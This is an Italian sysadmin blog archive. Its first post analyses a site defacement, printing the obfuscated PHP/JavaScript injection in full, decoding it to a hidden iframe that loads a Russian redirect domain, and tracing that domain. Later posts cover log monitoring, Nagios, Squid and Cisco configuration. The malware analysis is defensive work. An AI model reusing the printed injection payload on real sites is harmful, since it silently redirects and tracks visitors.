Archivi tag: log

I soliti cracker russi…

E’ un lunedì sera. Sono a casa bello tranquillo quando ad un tratto mi arriva una telefonata inaspettata: il sito di un amico è stato defacciato. Ok, mi collego al sito e con mia enorme sorpresa mi accorgo della presenza del seguente codice PHP:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Si tratta molto banalmente di codice cifrato mediante due funzioni piuttosto blande, ovvero gzinflate e base64_decode.

Decifrandolo, ho ottenuto quanto segue:

<scrip type="text/javascrip"> try{1-prototype;}catch(bsdtwbd){q=412;} if(020==0x10){f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];}if(document)e=eval;w=f;s=[];r=String.fromCharCode;for(i=0;-i+279!=0;i+=1){j=i;if(e)s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));} if(q&&f&&012===10)e(s); </scrip>

che, a primo acchito, può sembrare una rogna, ma effettuando la giusta formattazione del codice, inserendo un document.write(s) nel giusto punto del sorgente e creando una pagina HTML ad hoc:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <scrip type="text/javascrip">
 try{1-prototype;}
 catch(bsdtwbd)
 {q=412;}
 if(020==0x10)
 {
 f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];
 }
 if(document)
 e=eval;
 w=f;
 s=[];
 r=String.fromCharCode;
 for(i=0;-i+279!=0;i+=1)
 {
 j=i;
 if(e)
 {
 s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));
 }
 }
 document.write(s);
 if(q&&f&&012===10)
 e(s);
 </scrip>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Untitled Document</title>
 </head>
 <body>
 </body>
 </html>

si ottiene:

function frmAdd() {
 var ifrm = document.createElement('iframe');
 ifrm.style.position='absolute';
 ifrm.style.top='-999em';
 ifrm.style.left='-999em';
 ifrm.src = "http://latokoz.ru/count2.php";
 ifrm.id = 'frmId';
 document.body.appendChild(ifrm); };
 onload = frmAdd;

Ebbene si, trattasi di un attacco XSS che inietta sul sito vittima del codice javascrip (opportunamente offuscato), la cui funzione è quella di creare un iframe che punta alla URL http://latokoz.ru/count2.php

Ecco alcune info sul dominio latokoz.ru (con annesso reverse lookup):

nightfly@nightbox:~$ whois latokoz.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        LATOKOZ.RU
nserver:       ns1.newrect.com.
nserver:       ns2.newrect.com.
nserver:       ns3.newrect.com.
nserver:       ns4.newrect.com.
nserver:       ns5.newrect.com.
nserver:       ns6.newrect.com.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     REGGI-REG-RIPN
admin-contact: http://www.webdrive.ru/webmail/
created:       2012.08.01
paid-till:     2013.08.01
free-date:     2013.09.01
source:        TCI

Last updated on 2012.08.06 22:56:31 MSK
nightfly@nightbox:~$ host latokoz.ru
 latokoz.ru has address 78.8.44.226

Vado di wget e provo a scaricare la suddetta pagina:

nightfly@nightbox:~$ wget http://latokoz.ru/count2.php

Il cui contenuto è, molto banalmente:

<!DOCTYPE HTML>
 <html>
 <head>
 <scrip type="text/javascrip">
 parent. = "http://edrefak.ru/";
 </scrip>
 </head>
 <body>
 </body>
 </html>

Come sempre, whois e reverse lookup sul dominio in questione:

nightfly@nightbox:~$ host edrefak.ru
edrefak.ru has address 46.161.45.107
nightfly@nightbox:~$ whois edrefak.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        EDREFAK.RU
nserver:       ns1.izdomik.ru.
nserver:       ns2.izdomik.ru.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     NAUNET-REG-RIPN
admin-contact: https://client.naunet.ru/c/whoiscontact
created:       2012.07.29
paid-till:     2013.07.29
free-date:     2013.08.29
source:        TCI

Last updated on 2012.08.06 23:06:37 MSK

Trattasi di un sito che commercializza un prodotto simil-Viagra (si, avete capito bene), in cui è presente il seguente codice js (dopo il footer):

<!-- HotLog -->
 <scrip type="text/javascrip" language="javascrip">
 hotlog_js="1.0"; hotlog_r=""+Math.random()+"&amp;s=2241559&amp;im=35&amp;r="+
 escape(document.referrer)+"&amp;pg="+escape(.href);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.1">
 hotlog_js="1.1"; hotlog_r+="&amp;j="+(navigator.javaEnabled()?"Y":"N");
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.2">
 hotlog_js="1.2"; hotlog_r+="&amp;wh="+screen.width+"x"+screen.height+"&amp;px="+
 (((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen.pixelDepth);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.3">
 hotlog_js="1.3";
 </scrip>
 <scrip type="tex/javascrip" language="javascrip">
 hotlog_r+="&amp;js="+hotlog_js;
 document.write('<a href="http://click.hotlog.ru/?2241559" target="_blank"><img '+
 'src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?'+
 hotlog_r+'" border="0" width="88" height="31" alt="HotLog"></a>');
 </scrip>
 <noscrip>
 <a href="http://click.hotlog.ru/?2241559" target="_blank"><img
 src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?s=2241559&amp;im=35" border="0"
 width="88" height="31" alt="HotLog"></a>
 </noscrip>
 <!-- /HotLog -->

Ma cos’è HotLog.ru? E’ semplicemente un sito che rilascia dei tracker cookies, in modo da poter “tracciare” le abitudini dei visitatori. In questo modo i cracker avranno una fonte di informazioni molto preziosa su cui modellare eventuali email di spamming o di phishing.

Se effettuate una ricerca su Google utilizzando la stringa:

try{1-prototype;}

vi accorgerete che di siti infetti ce n’è una marea.
Affinchè eventuali visitatori “vittima” di questo tipo di attacco possano dormire sonni tranquilli, consiglio loro di brasare i cookies e la cache del browser.

Per maggiori info sulla rimozione dei tracker cookies vi rimando a questo sito:

http://www.exterminate-it.com/malpedia/remove-hotlog-ru

Infine, tiriamo le somme:

1) non avendo accesso diretto ai log FTP ed HTTP del server di hosting, non posso individuare l’IP sorgente dell’attacco, anche se sono quasi certo che i cracker non si siano esposti direttamente, ma abbiano usato un altro sito infetto come testa di ponte;

2) data la legislazione russa (e dei Paesi dell’ex Unione Sovietica in genere), i proprietari dei domini su cui vengono effettuati i rimbalzi hanno le spalle coperte (non è un caso che i whois non mostrino alcuna informazione utile);

3) recentemente si sono moltiplicati gli attacchi diretti ai server Web/FTP mediante l’uso di credenziali di accesso lecite. Probabilmente anche l’attacco in questione è stato perpretrato utilizzando le suddette modalità. A tal proposito, vi consiglio di cambiare le credenziali FTP di tutti gli utenti, oltre a modificare username e password dei vostri account di posta (ho il vago spospetto che sia proprio questo il mezzo attraverso il quale i cracker ottengono le giuste credenziali).

4) per gli sviluppatori: ogni tanto date un’occhiata al codice sorgente del vostro sito, magari attraverso degli scrip bash (e simili), in modo da avere tempi di reazione ridotti e correre ai ripari il prima possibile in caso di attacco. Inoltre, se utilizzate CMS (Joomla, WordPress, Drupal, ecc.), assicuratevi di aver installato l’ultima versione (con annesse security patch) ed utilizzate degli add-on che possono aumentare il livello di sicurezza offerto.

Fine del post, alla prossima.

 

Swatch, Apache e base rate fallacy a palla

In questo post vi ho mostrato una possibile configurazione di swatch per ciò che concerne il monitoraggio delle richieste inoltrate ad un server Web. 

apache, swatch, regex, pattern, log, HTTP error code

Ovviamente tale configurazione è molto simile a quella che attualmente gira sui miei server, ragion per cui ho avuto modo di testarla in modo massiccio. Un effetto colletarale che mi è saltato all’occhio quasi immediatamente riguardava i falsi positivi, ovvero pattern del tutto innocui che swatch mi segnalava come errori HTTP.

Mi spiego meglio. Data una entry del file di log simile alla seguente:

192.168.x.x - jumbo [30/Jul/2012:16:03:20 +0200] "GET /prova.php HTTP/1.1" 200 4036 "https://www.pincopallo.it/prova.php" "Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1"

essa mi veniva segnalata come HTTP Forbidden (errore 403) per via del 4036.

Il file di log contenente il giusto codice di errore dovrebbe avere una forma simile alla seguente:

79.55.x.x - jumbo [30/Jul/2012:21:28:53 +0200] "GET /prova.php HTTP/1.1" 403 773 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0"

Ovvero il codice di errore è sempre preceduto e seguito da uno spazio vuoto.

Alla luce di tali considerazioni le regex da settare su swatch diventano le seguenti:

#HTTP Forbidden
watchfor  / 403 /
     echo
     mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Access Forbidden

#HTTP Not Found
watchfor  / 404 /
     echo
     mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Not Found

#HTTP Internal Server Error
watchfor  / 500 /
     echo
     mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Internal Server Error

#HTTP OK
watchfor  / 200 /
     echo
     mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Hit OK

Quindi, poichè i pattern da matchare devono essere contenuti all’interno dei due slash (/), è bastato aggiungere uno spazio prima e dopo del codice di errore.

Enjoy.

Solaris 10 in single user mode

Che Solaris sia un SO a dir poco “fondamentalista” è risaputo. Ciò significa che un arresto dirty di tale sistema porta a dei malfunzionamenti di una certa gravità, tra cui l’avvio in sigle user mode permanente.

logo_solaris10_upgrade.gif

Per la precisione, l’errore che mi sono beccato più e più volte era il seguente:

/lib/svc/method/fs-usr filed with exit status 96

/system/filesystem/usr:default misconfigured: transitioned to maintenance

quel transitioned to maintenance significa, in soldoni, che il sistema non è riuscito ad avviarsi correttamente e che quindi è stato costretto a partire in single user mode.

Lanciando un:

svcs -xvm

non sono riuscito ad ottenere maggiori dettagli, sicchè ho deciso di addentrarmi nella miriade di file di log di cui è dotato il sistema in questione.

Gira che ti rigira, nella directory /var/svc/log ho trovato il file che mi interessava, ovvero:

system-filesystem-usr:default.log

Dopo un cat ho focalizzato la mia attenzione sulla seguente entry:

[ giu 12 10:19:57 Executing start method ("/lib/svc/method/fs-usr") ]
dumpadm: impossibile aprire /dev/dump: File o directory non trovati
[ giu 12 10:20:00 Method "start" exited with status 96 ]

Si avete capito bene, l’errore è tanto banale quanto rognoso. Mi spiego meglio: quando il sistema è stato arrestato brutalmente, non è riuscito a salvare in un apposito file (leggasi /dev/dump) il dump della memoria volatile (aka RAM), dunque, non trovandolo durante il bootstrap, si avviava in single user mode.

Come ho risolto?

cd /dev

touch dump

Fine dei giochi. Semplice, no?

Alla prossima.

Apache, swatch e favicon inesistente

Premessa: i browser di ultima generazione che tantano di connettersi ad un sito (non presente nella loro cache) vanno automaticamente alla ricerca della famigerata favicon (ovvero quell’iconcina che appare a fianco della barra degli indirizzi – benedetto Web 2.0).

swatch, log, apache, favicon, http 404, not found, log monitoring

Fatto: se il sito non contiene la suddetta iconcina, il Web server (Apache nella fattispecie), genererà un bell’errore HTTP 404 (not found).

Problema: se il file di log del Web server è monitorato mediante un’apposita applicazione (leggasi swatch), che intercetta gli errori HTTP 404, il povero sistemista che legge gli alert (leggasi il sottoscritto), si ritroverà con un kg di mail praticamente inutili.

Soluzione: fare in modo che swatch ignori completamente le entry del file di log di Apache che contencono la keyword favicon.

In particolare, tali entry avranno la seguente forma:

79.5.*.* - - [29/May/2012:13:57:45 +0200] "GET /favicon.ico HTTP/1.1" 404 628 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.4) Gecko/20100101 Firefox/10.0.4"

indi per cui, nel file di configurazione di swatch basterà aggiungere la seguente direttiva (in testa):

#Favicon
ignore /favicon/

Niente di più facile.

Per rendere la modifica operativa occorre killare tutti i processi attivi di swatch (sudo killall -w swatch) e successivamente avviare nuovamente tale applicativo.

Alla prossima.

Proxy Squid e Calamaris

Consentire agli utenti della propria LAN l’accesso ai siti Web mediante Proxy è ormai una prassi. Analizzare i relativi file di log, però, risulta essere un’operazione piuttosto tediosa, indi per cui è molto conveniente utilizzare dei software in grado di generare i report degli accessi in modo automatico.

Se il proxy che avete tirato su è Squid e non implementate meccanismi di autentica (ad esempio NTLM), potete usare Calamaris come generatore di report.

 

squidlogo.jpg

L’installazione e la configurazione di tale applicativo è piuttosto semplice. Infatti, per installarlo basta digitare:

nightfly@nightbox:~$ sudo apt-get install calamaris

Ad installazione completata possiamo passare alla configurazione. Per prima cosa creiamo la directory calamaris in /var/www:

nightfly@nightbox:~$ sudo mkdir -p /var/www/calamaris

e le sottodirectory daily, weekly e monthly, in cui andranno salvati rispettivamente i report giornalieri, settimanali e mensili:

nightfly@nightbox:~$ sudo mkdir -p /var/www/calamaris/daily

nightfly@nightbox:~$ sudo mkdir -p /var/www/calamaris/weekly

nightfly@nightbox:~$ sudo mkdir -p /var/www/calamaris/monthly

assegniamo i giusti permessi alle directory appena create:

nightfly@nightbox:~$ cd /var/www

nightfly@nightbox:/var/www$ sudo chown nomeutente:nomeutente -R calamaris

A questo punto possiamo creare il primo report, digitando:

nightfly@nightbox:/var/www$ sudo calamaris -a -F html /var/log/squid/access.log > /var/www/calamaris/index.html

Il report sarà visualizzabile mediante browser alla seguente URL:

http://vostroippubblico/calamaris

Per consentire solo ad uno specifico utente la visualizzazione del report occorre creare un file .htaccess recante le seguenti direttive:

 AuthName "Sezione riservata Calamaris"
 AuthType Basic
 AuthUserFile /etc/apache2/passwd
 Require user <nome utente>

ovviamente il nome utente deve essere presente nel file /etc/apache2/passwd (in cui viene fatta l’associazione tra l’utente stesso ed il digest della sua password)

Infine, modifichiamo il file /etc/apache2/apache2.conf in questo modo:

 <Directory /var/www/calamaris>
 AllowOverride AuthConfig
 </Directory>

Salviamo il tutto e riavviamo apache:

nightfly@nightbox:~$ sudo service apache2 restart

Per ricevere i report direttamente via email (oltre ad ottenere il loro salvataggio nelle dir precedentemente create), possiamo modificare come segue il file cron.conf posizionato in /etc/calamaris:

daily:vostro.indirizzo@email.it:/var/www/calamaris/daily/index.html:both:'Squid giornaliero'
 weekly:vostro.indirizzo@email.it:/var/www/calamaris/weekly/index.html:both:'Squid settimanale'
 monthly:vostro.indirizzo@email.it:/var/www/calamaris/monthly/index.html:both:'Squid mensile'

Inoltre, sarà necessario abilitare la cache di squid (se non l’avete ancora fatto), decommentando la direttiva cache_dir presente nel file /etc/squid/squid.conf.

Done, enjoy!

Logwatch: analisi automatica dei log file di sistema

Ottenere dei report giornalieri che tengano conto degli “eventi” che hanno interessato i nostri server è certamente una comodità. Infatti, grazie ad essi, non è più necessario analizzare singolarmente i file di log relativi alle diverse applicazioni attive sulle nostre macchine, ma basta una rapida occhiata per accorgersi di eventuali anomalie.

Un’applicazione che riesce a generare una reportistica di questo tipo, a partire dai vari file di log, prende il nome di logwatch. In particolare, trattasi di un semplice scrip perl, la cui installazione è a dir poco banale e la cui configurazione è piuttosto immediata.

logwatch,log,log analysis,report,cron

Per installarlo sulla nostra Linux box Debian basta digitare il comando:

nightfly@nightbox:~$ sudo apt-get install logwatch

Ad installazione completata possiamo dedicarci alla configurazione di questo comodo e potente applicativo.

Per fare ciò occorre editare il file /usr/share/logwatch/default.conf/logwatch.conf:

nightfly@nightbox:~$ sudo nano /usr/share/logwatch/default.conf/logwatch.conf

Il nostro intento è quello di ottenere dei report da inviare alla nostra mailbox, la cui formattazione dovrà essere realizzata mediante il linguaggio di markup HTML:

Output = mail
Format = html
MailTo = vostro.indirizzo@email.it

In questo modo, ogniqualvolta digiteremo il comando logwatch da CLI, tale software provvederà ad inviarci il report desiderato.

Per automatizzare tale procedura, è sufficiente posizionarsi nella directory /etc/cron.daily/ per poi modificare il file 00logwatch, il cui contenuto dovrà essere:

#!/bin/bash

#Check if removed-but-not-purged
test -x /usr/share/logwatch/scrip/logwatch.pl || exit 0

#execute
/usr/sbin/logwatch --mailto vostro.indirizzo@email.it

Salviamo il file appena modificato ed abbiamo finito.

Siamo ora pronti a ricevere dei report giornalieri relativi allo stato dei servizi attivi sui nostri server.

A presto.

Controllare lo stato di iptables mediante Nagios

Recentemente su uno dei miei server ho lanciato il comando:

nightfly@nightbox:~$ sudo iptables -L

e con mio enorme disappunto mi sono accorto che le regole di firewalling che il server avrebbe dovuto caricare all’avvio erano praticamente assenti (eccezion fatta per fail2ban), indi per cui ho deciso di monitorare lo stato di iptables mediante Nagios.

iptables.jpg

Lo scrip che ho utilizzato per i check potete scaricarlo da qui. Inoltre, poichè tale scrip è piuttosto bacato, ho deciso di apportare qualche piccola correzione. Di seguito la versione originale dello scrip:

#!/bin/bash

PARAM1=$1
TABLE=$2
MINRULES=$3
PARAM4=$4
LOG=/var/log/iptables/iptables.log
CHKIPTBLS=`/sbin/iptables -n -t filter -L |wc -l`

#
# Parameter Validation
##

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" == "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
                # Nagios exit code 3 = status UNKNOWN = orange

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "         -h = Display's this Help"
        echo "         -T = Table to check"
        echo "                 Available Tables:"
        echo "                    nat"
        echo "                    mangle"
        echo "                    filter"       
        echo "         -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
                exit 3
   fi
fi

##
#    DO NOT MODIFY ANYTHING BELOW THIS
##

$CHKIPTBLS >/dev/null 2>/dev/null

if [ "$CHKIPTBLS" == 0 ]; then
    TOTRULES=$CHKIPTBLS
else
    TOTRULES=$[$CHKIPTBLS-8]
fi

if [ "$TOTRULES" -gt "$PARAM4" ]; then
                    echo "OK - Iptables are OK the table $TABLE has $TOTRULES rules configured"
                    # Nagios exit code 0 = status OK = green
                    exit 0
else
                    echo " CRITICAL - Iptables are CRITICAL the table $TABLE has $TOTRULES rules configured"
                    for i in `w  -h | cut -f1 -d" " | sort | uniq`
                    do

                        echo "`date '+%d/%m/%Y - %H:%M:%S'` - CRITICAL - $i is logged in and there are only $TOTRULES loaded" >> $LOG
                    done
                    # Nagios exit code 2 = status CRITICAL = red
                    exit 2               
fi

Punto primo: la seconda condizione dell’if non ha praticamente senso, in quanto la prima è sempre verificata.
E’ bastato invertire le due condizioni e trattarle separatamente:

#
# Parameter Validation
##

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "          -h = Display's this Help"
        echo "          -T = Table to check"
        echo "          Available Tables:"
        echo "          nat"
        echo "          mangle"
        echo "          filter"
        echo "          -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
        exit 3
fi

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" ==                                                                                         "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
        # Nagios exit code 3 = status UNKNOWN = orange
fi

Punto secondo: la variabile CHKIPTBLS utilizza sempre e comunque la tabella filter, dunque il parametro -T non ha senso di esistere. Possiamo però ovviare a tale mancanza, permettendo all’utente di scegliere su quale tabella (tra filter, mangle e nat) effettuare i controlli, modificando la variabile citata in precedenza nel seguente modo:

CHKIPTBLS=`sudo /sbin/iptables -n -t "$TABLE" -L |wc -l`

Punto terzo: la condizione

if [ "$TOTRULES" -gt "$PARAM4" ]; then

controlla che il numero di regole caricate sia strettamente maggiore di quello definito mediante il parametro -r. Questo però cozza con quanto dichiarato dall’autore dello scrip, ovvero:

OK - The number of Iprules equal o more than the minimun that we setup on the -r variable

Per ovviare a tale errore, occorre sostituire la condizione riportata in precedenza con questa:

if [ "$TOTRULES" -ge "$PARAM4" ]; then

Punto quarto: nagios non ha i permessi per lanciare iptables, ergo dobbiamo effettuare delle modifiche al file /etc/sudoers, inserendo la entry:

nagios   ALL = NOPASSWD: /sbin/iptables

alla fine del file. 

In definitiva, lo scrip per controllare lo stato di iptables dovrà essere il seguente:

#!/bin/bash

PARAM1=$1
TABLE=$2
MINRULES=$3
PARAM4=$4
LOG=/var/log/check_iptables.log
CHKIPTBLS=`sudo /sbin/iptables -n -t "$TABLE" -L |wc -l`

#
# Parameter Validation
##

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "          -h = Display's this Help"
        echo "          -T = Table to check"
        echo "          Available Tables:"
        echo "          nat"
        echo "          mangle"
        echo "          filter"
        echo "          -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
        exit 3
fi

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" == "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
        # Nagios exit code 3 = status UNKNOWN = orange
fi

##
#       DO NOT MODIFY ANYTHING BELOW THIS
##

$CHKIPTBLS >/dev/null 2>/dev/null

if [ "$CHKIPTBLS" == 0 ]; then
        TOTRULES=$CHKIPTBLS
else
        TOTRULES=$[$CHKIPTBLS-8]
fi

if [ "$TOTRULES" -ge "$PARAM4" ]; then
                    echo "OK - Iptables is OK The Table $TABLE has $TOTRULES rules configured"
                    # Nagios exit code 0 = status OK = green
                    exit 0
else
                    echo " CRITICAL - Iptables is CRITICAL The Table $TABLE has $TOTRULES rules configured"
                                        for i in `w  -h | cut -f1 -d" " | sort | uniq`
                                        do
                                                echo "`date '+%d/%m/%Y - %H:%M:%S'` - CRITICAL - $i is logged in and there are only $TOTRULES loaded" >> $LOG
                                        done
                    # Nagios exit code 2 = status CRITICAL = red
                    exit 2
fi

Se il file /var/log/check_iptables.log non esiste, dovrete crearlo mediante il comando:

nightfly@nightbox:~$ sudo touch /var/log/check_iptables.log

A questo punto possiamo rinominare lo scrip:

nightfly@nightbox:~$ mv check_iptables_status.sh check_iptables_status

rendondolo successivamente eseguibile:

nightfly@nightbox:~$ chmod +x check_iptables_status

Spostiamolo nella directory /usr/lib/nagios/plugins:

nightfly@nightbox:~$ sudo mv check_iptables_status /usr/lib/nagios/plugins

Creiamo il file iptables.cfg nella directory /etc/nagios-plugins/config:

nightfly@nightbox:/etc/nagios-plugins/config$ sudo nano iptables.cfg

il cui contenuto dovrà essere il seguente:

# 'check_iptables_status' command definition
define command{
        command_name    check_iptables_status
        command_line    /usr/lib/nagios/plugins/check_iptables_status -T '$ARG1$' -r '$ARG2$'
        }

infine aggiungiamo la seguente direttiva al file dell’host su cui vogliamo monitorare lo stato di iptables (tale file è presente nella directory /etc/nagios3/conf.d):

define service{
        use                             generic-service         ; Name of service template to use
        host_name                       localhost
        service_description             iptables
                check_command                   check_iptables_status!filter!84
}

Dove 84 è il numero minimo di regole di firewalling attive.

Infine, riavviamo nagios:

nightfly@nightbox:~$ sudo service nagios3 restart

ed abbiamo finito.

Alla prossima.

Abilitare e configurare il logging dei comandi lanciati da shell sul router Cisco 837

Non finirò mai di ribadire quanto sia importante “registrare” tutto ciò che accade sul nostro router, in modo da avere il pieno controllo su di esso. Tra i log “di vitale importanza” rientrano sicuramente quelli relativi ai comandi lanciati da shell: tale mini-guida ha come scopo principale proprio quello di illustrare la procedura per abilitare e configurare i log citati in precedenza.

 

Cisco 837, Cisco SOHO 77, Cisco SOHO 97, log, archive, command, logserver

 

Per prima cosa entriamo in modalità enable e successivamente accediamo alla modalità di configurazione del nostro router:

router>ena
router#conf t

Adesso posizioniamoci nell’archivio, ovvero dove verranno salvati i log che ci interessano:

router(config)#archive

Abilitiamo quindi il logging vero e proprio:

router(config-archive)#log config
router(config-archive-log-cfg)#logging enable

e successivamente configuriamolo, imponendogli di spedire i log al nostro logserver, avendo cura però di nascondere le eventuali password che verranno digitate in futuro (hidekyes):

router(config-archive-log-cfg)#notify syslog
router(config-archive-log-cfg)#hidekeys
router(config-archive-log-cfg)#exit
router(config-archive)#exit

Impostiamo il livello dei log da inviare al logserver (in questo caso settandolo su informational):

router(config)#logging trap informational

ed infine salviamo la configurazione:

router(config)#exit
router#copy run start

Da ora in poi il nostro logserver terrà traccia dei comandi lanciati dalla shell del router.

Bye.

PS: se non sapete come abilitare l’invio dei log su un server apposito, potete utilizzare questo post come riferimento.

PPS: il logging level da impostare sul server per poter ricevere i log dei comandi è pari 5 (o superiore).

Errore su Cisco SOHO 77: MALLOCFAIL

Recentemente, esaminando i log del mio SOHO 77 ho notato la presenza dei seguenti messaggi d’errore:

Mar 10 13:27:24 *** 714: 000185: Mar 10 13:27:25.256 UTC: %SYS-2-MALLOCFAIL: Memory allocation of 65536 bytes failed from 0x801381A8, alignment 0
Mar 10 13:27:24 *** 715: Pool: Processor  Free: 233440  Cause: Memory fragmentation
Mar 10 13:27:24 *** 716: Alternate Pool: None  Free: 0  Cause: No Alternate pool
Mar 10 13:27:24 *** 717:
Mar 10 13:27:24 *** 718: -Process= "IP Input", ipl= 0, pid= 34
Mar 10 13:27:24 *** 719: -Traceback= 8013C184 8013E2A8 801381AC 8058F648 80584810 80585568 80248C24 80248F40 80248FF4 80249148 80162010 80165628
soho77-2.jpg

 

Trattandosi di MALLOCFAIL e di Memory Fragmentetion sono quasi sicuro che la poca RAM installata onboard si sia esaurita. Inoltre, poichè sul server ho attivo un demone p2p 24/7, sono altrattanto certo che la causa sia imputabile alla mole di traffico ed alle troppe NAT translations.

Accedo dunque al router, digito un conf t ed imposto dei nuovi timeout per il NAT:

SOHO77(config)# ip nat translation timeout 420
SOHO77(config)# ip nat translation tcp-timeout 120
SOHO77(config)# ip nat translation syn-timeout 120
SOHO77(config)# ip nat translation udp-timeout 120
SOHO77(config)# ip nat translation dns-timeout 120
SOHO77(config)# ip nat translation icmp-timeout 120

Lancio infine un copy run start per rendere permanenti le modifiche appena messe in atto:

SOHO77(config)# copy run start

Ora non resta che controllare che la memoria non stia sempre a tappo (mediante il comando sh memory) e che le translations attive non siano troppe (mediante uno sh ip translations statistics).

A presto.

Logging del traffico droppato da iptables

Qualsiasi firewall che si rispetti, oltre a dover filtrare il traffico secondo le regole definite dall’utente, deve mettere a disposizione un buon meccanismo di logging. In tal senso, iptables rientra a pieno titolo tra i firewall degni nota.

In particolare, il firewall in questione consente di loggare il traffico mediante rsyslogd, variante del celeberrimo syslogd, ovvero il demone *nix che si occupa del salvataggio dei log. Ma vediamo come realizzare il logging attraverso iptables.

Per prima cosa, dobbiamo decidere cosa loggare. Potremmo infatti “registrare” tutto il traffico che attraversa il firewall, oppure concentrarci esclusivamente sul traffico droppato. Personalmente ritengo che, per le reti di piccola dimensione, la seconda scelta sia sicuramente la migliore.

Ora, poichè iptables interpreta le regole seguendo una logica top-down, affinchè il traffico possa essere loggato è necessario fare in modo che i pacchetti vengano registrati immediatamente prima di essere scartati.

Quindi, il giusto ordine delle rule dovrebbe essere il seguente:

iptables -A INPUT -s 10.0.0.0/8 -i eth1 -j LOG --log-prefix "Spoofed traffic detected: " --log-level 4
iptables -A FORWARD -s 10.0.0.0/8 -i eth1 -j LOG --log-prefix "Spoofed traffic detected: " --log-level 4

iptables -A INPUT -s 10.0.0.0/8 -i eth1 -j DROP
iptables -A FORWARD -s 10.0.0.0/8 -i eth1 -j DROP

